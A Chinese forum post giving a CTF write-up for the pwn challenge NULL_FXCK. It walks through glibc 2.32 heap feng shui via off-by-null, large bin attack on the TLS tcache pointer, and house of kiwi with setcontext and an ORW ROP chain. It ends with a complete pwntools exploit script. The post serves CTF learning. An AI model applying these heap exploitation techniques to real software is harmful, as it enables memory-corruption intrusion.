首页
社区
课程
招聘
[原创]从PWN题NULL_FXCK中学到的glibc知识
2022-7-20 19:40 19447

[原创]从PWN题NULL_FXCK中学到的glibc知识

2022-7-20 19:40
19447

前言

FMYY师傅为nectf2021出的这道题可谓非常折磨,但折磨过后,发现能够学到很多东西。这题的风水堪称一绝,然后涉及的利用也非常新颖——house of kiwi在一年前来说可以说非常新鲜了,在今天衍生出的emma也是高版本主流的打法(但都是fmyy师傅玩剩的东西了)。在学习的时候,网上的博客都没有那么细致的讲其中的一些细节,特别是风水,在此记录供自己回味和其它学习者参考

版本

img

沙箱

img

 

发现禁了execve,那就只能orw了

保护

img

ida

相信都开始研究这道题的各位师傅逆向都没有问题,就截一截ida里面比较重要的几个东西:

 

(1)add的截断:

 

img

 

虽然从bin中拿出chunk的指针没有被初始化,但是这个截断使得我们不能直接泄露libc和堆地址了

 

(2)free禁止了UAF(这个就没必要截了)

 

(3)edit只能执行一次并且存在off_by_null:

 

img

思路

这里的思路其实有点公式化的味道,就和我们做数学题一样,都是通过题目给的条件来思考利用的手法

 

给了off_by_null就思考会用到堆块的合并导致的重叠。重叠带来的好处:

 

(1)通过切割堆块能使我们在合并的堆块内部任意地址写main_arena,这个任意地址可能是note数组的一个堆指针的fd,那么我们就可以泄露libc了

 

(2)合并的时候的unlink能使得我们在已知堆块的fd和bk上写一个堆地址,这样就可以弥补一开始的截断带来的不能泄露堆块,然后成功泄露出堆块了

堆风水泄露libc和堆地址

为了达成思路(1)(2)的libc和heap的泄露,需要一个非常细致的堆的布局,首先说说几个可能遇到的问题:

 

(1)合并的时候对堆的fd和bk的检测:

 

free(P)的时候,如果P不是tcache或者fastbin大小的话,就会检测P的前一个堆块(低地址)和后一个堆块(高地址)的使用情况(即它们的后一个堆块的PREV_INSURE位),如果也是free,就会考虑合并。合并的时候,会检测除P外的另一个堆块的fd和bk指针:

1
2
3
4
5
6
记另一个堆块为N
fwd=N->fd;
bck=N->bk;
if(fwd->bk != N || bck->fd !=N) exit(-1);
fwd->bk=bck;
bck->fd=fwd;

上面的代码大致表示了unlink的过程

 

之前做过的unlink都是已知了堆地址,然后unlink环节将fd和bk全都设置为N自身,达到绕过检测的目的。

 

这题比较厉害的地方就是,在不知道堆地址的情况下实现的unlink:

 

(1)首先通过将堆块放入unsorted bin(下面简称ub)将一个堆块的fd和bk分别写上不同的堆地址:

 

先add(0~6)然后delet(0,3,5),堆的布局如下图:

 

img

 

发现堆块3就是一个bk和fd都有堆指针的堆块了,后续考虑一个堆块向上与3合并。那么我们就要先修改3的size,如何修改呢?

 

delet(2)导致2和3在ub里发生合并,重新申请一个大小大于2的堆块就能修改3的size了。我们直接将3的size设置的很大,使得3的next_chunk指向top_chunk,因为考虑新生成堆块7并且edit(6)进行off_by_null修改7的pre_size和size的PREV_INSURE,这样delet堆块7就能向上和3合并了

 

但我们发现,合并的时候会报错,这是因为我们没有绕过unlink里面的检查,也就是没有成功设置好5和0的fd和bk。
我们发现,切割2和3合并的堆块会有一个剩下的堆块我们记作L。L的地址和3离得很近,可能就是低两位不同。如果,3的低两位是'\x00',我们就通过将L和0放入unsorted bin 设置bk指针;把L和5放入large bin设置fd指针(放入ub的话取出的时候目标堆块的fd指针会变),在申请0和5的时候,触发add中的截断,就能够在fd或bk上设置好3的地址,绕过unlink的检查完成合并。

 

合并好后,我们就可以通过切割堆块,在4的fd指针上布局main_arena。不过一开始的main_arena应该是以'\x00'结尾的,还是不能泄露。通过add一个大堆块放入largebin就好了,这样show(4)就能够泄露libc了。

 

同时unlink也会使得0的bk指针为5,5的fd指针为0,show其中任何一个都能泄露堆块

house of kiwi

发现这题中的exit被换成了_exit,而_exit是不会存在house of pig里面的那条链子的,它直接就是一个exit的系统调用然后程序就结束了,所以任何打exit的链子都不能直接拿来用。遇到这种问题,有的师傅就开辟了一条名为house of kiwi的链子。主要是打__malloc_assert断言,有一个位于_IO_file_jumps+0x60的稳定的跳转指针sync和稳定的rdx——_IO_helper_jumps,而且这两个地方在gdb里都是有符号表的(比banana好找多了2333):

 

img

 

那么我们通过两次任意地址写就行了?非也

 

因为还需要触发assert

 

如何触发assert?看看malloc.c的源码,ctrl f输入"assert"。发现有80多个。。。

 

这里介绍其中一种做法:

 

当top_chunk的大小不够分配时,则会进入sysmalloc中:

1
2
3
4
5
6
......
assert ((old_top == initial_top (av) && old_size == 0) ||
        ((unsigned long) (old_size) >= MINSIZE &&
         prev_inuse (old_top) &&
         ((unsigned long) old_end & (pagesize - 1)) == 0));
......

发现很多检测,我们注意到对topchunk的prev_inuse的检测,只要把topchunk的size位的prev_inuse置为0,申请一个比它大的堆块就可以触发了

 

我们发现,至少需要改三个地址,也就是执行三次任意地址写。从这道题的严苛条件,不能用tcache poison等简单手法。

TLS段tcache struct attack

我们都知道,malloc_init会在heapbase段开设一个内存用于管理tcache。而这个管理tcache的地址,是可以从heapbase被我们劫持到另一个地方的,这是因为实际寻找的时候,是找到TLS段的管理tcache的地址,只不过malloc_init函数预设成了heapbase+0x10而已(注意,是heapbase+0x10而不是heapbase),我们可以在gdb中找到这段区域:

 

img

 

通过largebin attack劫持这段为可控堆块,在上面布置任何我们想写的东西,malloc对应位置size大小就能够申请出来并且改写了(这里的偏移要调一调,不过也可以拿exp的模板直接来用,也就是)

 

通过改稳定的跳表sync为setcontext+61(因为setcontext会将[rdx+0xa0]设置为rsp,将[rdx+0xa8]设置为rip),将稳定的rdx _IO_helper_jumps设置为_IO_helper_jumps+0xa0为存orw链,+0xa8为ret指令,并改top_chunk的size,然后申请一个比它的size大的堆块触发assert就可get_shell了

总结

这道题考察了高版本的off_by_null,large bin attack,house of kiwi , TLS attack。虽然很折磨,但是是不可否认的好题,能让第二次接触2.31以上版本的我学到不少东西,感谢FMYY师傅

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
from pwn import *
from hashlib import sha256
import base64
context.log_level='debug'
#context.arch = 'amd64'
context.arch = 'amd64'
context.os = 'linux'
def proof_of_work(sh):
    sh.recvuntil(" == ")
    cipher = sh.recvline().strip().decode("utf8")
    proof = mbruteforce(lambda x: sha256((x).encode()).hexdigest() ==  cipher, string.ascii_letters + string.digits, length=4, method='fixed')
    sh.sendlineafter("input your ????>", proof)
##r=remote("123.57.69.203",7010)
##r=process('./sp1',env={"LD_PRELODA":"./libc-2.27.so"})
 
##mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
 
def z():
    gdb.attach(r)
 
def cho(num):
    r.sendafter(">> ",str(num))
 
def add(size,content='\x00'):
    cho(1)
    r.sendlineafter("Size: ",str(size))
    r.sendafter("Content: ",content)
 
def edit(idx,con):
    cho(2)
    r.sendlineafter("Index: ",str(idx))
    r.sendafter("Content: ",con)
 
def show(idx):
    cho(4)
    r.sendlineafter("Index: ",str(idx))
 
def delet(idx):
    cho(3)
    r.sendlineafter("Index: ",str(idx))
 
def exp():
    global r
    global libc
    libc=ELF('./libc-2.32.so')
    r=process('./main')
 
    ##[+]: fengshui 2 leak
    add(0x418) #0
    add(0x1f8) #1
    add(0x428) #2
    add(0x438) #3
    add(0x208) #4
    add(0x428) #5
    add(0x208) #6
 
    delet(0)
    delet(3)
    delet(5)
    delet(2)
    ##z()
    add(0x440,0x428*'a'+p64(0xc91)) #0
 
    add(0x418) #3 0x2b0
    add(0x418) #2
    add(0x428) #5 0x370
    ##z()
    delet(3)
    delet(2)
    ##z()
    add(0x418,'a'*9) #2
    add(0x418) #3
    delet(3)
    delet(5)
    add(0x9f8) #3
    ##z()
    add(0x428,'a') #5
    edit(6,0x200*'a'+p64(0xc90)+'\x00')
    add(0x418) #7
    ##z()
    add(0x208) #8
    ##z()
    delet(3)
    add(0x430,flat(0,0,0,p64(0x421))) #3
    add(0x1600) #9
    ##z()
    show(4)
    libcbase=u64(r.recv(6).ljust(8,'\x00'))-0x1e4230
    log.success('libcbase:'+hex(libcbase))
    show(5)
    heap=u64(r.recv(6).ljust(8,'\x00'))-0x2b0
    log.success('heap:'+hex(heap))
 
    ##[+]: set libc func
    IO_file_jumps=0x1e54c0+libcbase
    IO_helper_jumps=0x1e48c0+libcbase
    setcontext=libcbase+libc.sym['setcontext']
    open_addr=libcbase+libc.sym['open']
    read_addr=libcbase+libc.sym['read']
    puts_addr=libcbase+libc.sym['puts']
    pop_rdi_ret=libcbase+0x2858f
    pop_rsi_ret=libcbase+0x2ac3f
    pop_rdx_pop_rbx_ret=libcbase+0x1597d6
    ret=libcbase+0x26699
    ##[+]: large bin attack to reset TLS
    ##z()
    ##edit(4,p64(libcbase+0x1e4230)+)
 
    ##[+]: orw
    target=heap+0x8e0
    flag_addr = heap + 0x8e0 + 0x100
    chain = flat(
    pop_rdi_ret , flag_addr , pop_rsi_ret , 0 , open_addr,
    pop_rdi_ret , 3 , pop_rsi_ret , flag_addr , pop_rdx_pop_rbx_ret , 0x100 , 0 , read_addr,
    pop_rdi_ret , flag_addr , puts_addr
    ).ljust(0x100,'\x00') + 'flag\x00'
 
    TLS=libcbase-0x2908
    add(0x1240,0x208*'a'+p64(0x431)+0x428*'a'+p64(0x211)+0x208*'a'+p64(0xa01))
    delet(0)
    add(0x440,chain)
    ##z()
    add(0x418) #11
    add(0x208) #12
    delet(5)
    delet(4)
    add(0x1240,0x208*'a'+p64(0x431)+p64(libcbase+0x1e3ff0)*2+p64(heap+0x1350)+p64(TLS-0x20))#4
    delet(11)
    ##z()
    add(0x500)
    ##z()
    add(0x410)
    delet(4)
    add(0x1240,0x208*'a'+p64(0x431)+p64(libcbase+0x1e3ff0)*2+p64(heap+0x1350)*2)
    pd='\x01'*0x70
    pd=pd.ljust(0xe8,'\x00')+p64(IO_file_jumps+0x60)
    pd=pd.ljust(0x168,'\x00')+p64(IO_helper_jumps+0xa0)+p64(heap+0x46f0)
    add(0x420,pd) #13
    add(0x100,p64(setcontext+61))
    add(0x200,p64(target)+p64(ret))
    add(0x210,p64(0)+p64(0x910))
    z()
    add(0x1000)
    ##z()
    r.recvuntil('flag')
    string=r.recvuntil('}')
    flag='flag'+string
    print(flag)
    show(5)
    r.interactive()
 
if __name__ == '__main__':
    exp()
 
    ##setcontext and orw
    ''''
    orw=p64(r4)+p64(2)+p64(r1)+p64(free_hook+0x28)+p64(syscall)
    orw+=p64(r4)+p64(0)+p64(r1)+p64(3)+p64(r2)+p64(mem)+p64(r3)+p64(0x20)+p64(0)+p64(syscall)
    orw+=p64(r4)+p64(1)+p64(r1)+p64(1)+p64(r2)+p64(mem)+p64(r3)+p64(0x20)+p64(0)+p64(syscall)
    orw+=p64(0xdeadbeef)
    pd=p64(gold_key)+p64(free_hook)
    pd=pd.ljust(0x20,'\x00')+p64(setcontext+61)+'./flag\x00'
    pd=pd.ljust(0xa0,'\x00')+p64(free_hook+0xb0)+orw
    r.sendafter(">>",pd)
    flag=r.recvline()
    '''

[培训]《安卓高级研修班(网课)》月薪三万计划

最后于 2022-7-23 23:51 被Nameless_a编辑 ,原因:
上传的附件:
收藏
点赞6
打赏
分享
打赏 + 150.00雪花
打赏次数 1 雪花 + 150.00
 
赞赏  Editor   +150.00 2022/08/01 恭喜您获得“雪花”奖励,安全圈有你而精彩!
最新回复 (3)
雪    币: 25
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
sailzwwb 2022-8-14 16:57
2
0
不过一开始的main_arena应该是以'\x00'结尾的,还是不能泄露。通过add一个大堆块放入largebin就好了,这样show(4)就能够泄露libc了。
 这里show函数使用write输出的,不用放入largebin直接show应该也没有问题吧
雪    币: 5179
活跃值: (10216)
能力值: ( LV12,RANK:360 )
在线值:
发帖
回帖
粉丝
Nameless_a 4 2022-8-14 19:27
3
0

雪    币: 5179
活跃值: (10216)
能力值: ( LV12,RANK:360 )
在线值:
发帖
回帖
粉丝
Nameless_a 4 2022-8-14 19:28
4
0
sailzwwb 不过一开始的main_arena应该是以'\x00'结尾的,还是不能泄露。通过add一个大堆块放入largebin就好了,这样show(4)就能够泄露libc了。 这里show函数使用write输 ...
这里的strlen函数是有'\x00'截断的
游客
登录 | 注册 方可回帖
返回